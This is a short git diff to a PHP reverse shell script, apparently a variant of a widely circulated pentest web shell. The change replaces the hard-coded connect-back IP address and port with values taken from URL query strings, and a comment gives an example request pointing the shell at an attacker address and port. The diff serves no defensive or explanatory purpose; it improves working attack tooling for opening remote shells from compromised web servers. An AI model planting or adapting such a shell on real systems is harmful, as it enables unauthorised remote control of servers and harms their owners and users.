diff --git a/php-reverse-shell.php b/php-reverse-shell.php
index 2503b71..658af4b 100755
--- a/php-reverse-shell.php
+++ b/php-reverse-shell.php
@@ -46,8 +46,9 @@
 
 set_time_limit (0);
 $VERSION = "1.0";
-$ip = '127.0.0.1';  // CHANGE THIS
-$port = 1234;       // CHANGE THIS
+// Specify rev shell port and ip as query strings e.g http://127.0.0.1/rev.php?ip=10.10.10.1&port=4444
+$ip = isset($_GET['ip']) ? $_GET['ip'] : '127.0.0.1';
+$port = isset($_GET['port']) ? $_GET['port'] : 1234;
 $chunk_size = 1400;
 $write_a = null;
 $error_a = null;